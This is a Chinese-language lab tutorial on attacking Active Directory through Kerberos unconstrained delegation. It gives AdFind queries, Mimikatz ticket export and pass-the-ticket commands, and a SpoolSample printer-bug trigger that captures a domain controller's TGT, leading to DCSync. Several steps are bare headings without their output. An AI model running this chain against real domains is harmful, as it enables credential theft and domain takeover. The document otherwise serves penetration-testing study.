[域渗透专题]非约束委派学习
非约束委派攻击
0x01 原理总述
⽤户 A 去访问服务B,
服务 B
的服务账户开启了⾮约束委派,那么当⽤户 A 访问服务 B 的时候会将⽤户 A 的TGT
发送给服务 B 并保存进内存
,服务 B 能够利⽤⽤户 A
的身份去访问⽤户 A
能够访问的任意服务。
⾮约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation
(⾮约束委派),则当 user 访问 service1 时会将 user 的 TGT 发送给 service1 并保存在内存中以备下次重⽤,然后 service1 就可以利⽤这张 TGT 以 user 的身份去访问域内的任何服务(任何服务是指 user 能访问的服务)
0x02 环境准备
创建一个非约束委派账户,注册SPN
setspn -U -A MSSQLSvc/mssql.tysec.top:1433 mi2ac1ee
为miraclee
用户注册SPN
开启委派
查询域内的非约束委派用户
AdFind.exe -b "DC=tysec,DC=top" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
可以看出mi2aclewww为非约束委派用户
之后我们把这个WEB-2012也设置为非约束委派
0x03 模拟管理员访问攻击
需要说明,这里是模拟的管理员访问。真实情况下,可能需要等待很久管理员来访问这台机器。不如利用0x04 打印机漏洞攻击
域控上执行该命令
Enter-PSSession -ComputerName WEB-2012
mimikatz "privilege::debug" "kerberos::purge" "exit"
privilege::debug
sekurlsa::tickets /export
注入票据:
kerberos::ptt [0;fb93c]-2-0-60a10000-Administrator@krbtgt-TYSEC.TOP.kirbi
dir \\WIN-C6FKSH5OS1C\c$
0x04 打印机漏洞攻击
首先我将细致的讲解这一整块的攻击:
当域内某台机器启用了
非约束委派
,那它就可以接受域内任意用户的委派去请求域内任意服务。换句话讲,当某个域用户委托某台机器去代替访问域内的某个服务时,被委托的机器会在收到该用户TGT后缓存到自己的lsass中,之后被委托的机器即可拿着这个TGT去模拟相应用户请求相应服务。由此可知,一旦当我们搞定了启用非约束委派的这台机器,就可以把所有委托该机器访问指定服务的用户的TGT都导出来,而后再拿着这些TGT去模拟请求访问指定域内服务。如果此时委托访问的用户里有一个是域管账户或域控机器账户,我们就很容易通过ptt操作来模拟请求访问域控上的服务了,以此来变相获取域控权限。虽然实际环境中,想让域管账户主动访问启用了非约束委派机器的可能性不太大,但可以利用MSRPRNRPC接口(注一些新系统可能默认
已修复此问题,但实际情况是绝大部分并没有)强制域控向指定的启用了非约束委派的域内机器进行身份验证,如此一来可变相截获域管TGT(注DC默认启用非约束委派)
配置非约束委派用户:
注册spn:
setspn -U -A MSSQLSvc/mssql.vulntarget.com:1433 tx
配置:
服务账号
机器账户:
首先查询非约束委派:
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
以win2016本地管理员权限启动监听:
强制触发:
spool_sample_windows_x86.exe win2019 WIN2016
已经收到票据了:
可以看到这个票据是域控机器账户的
这一步我处理了一下,把原先的空格给替换了。
导入票据:
DCSYNC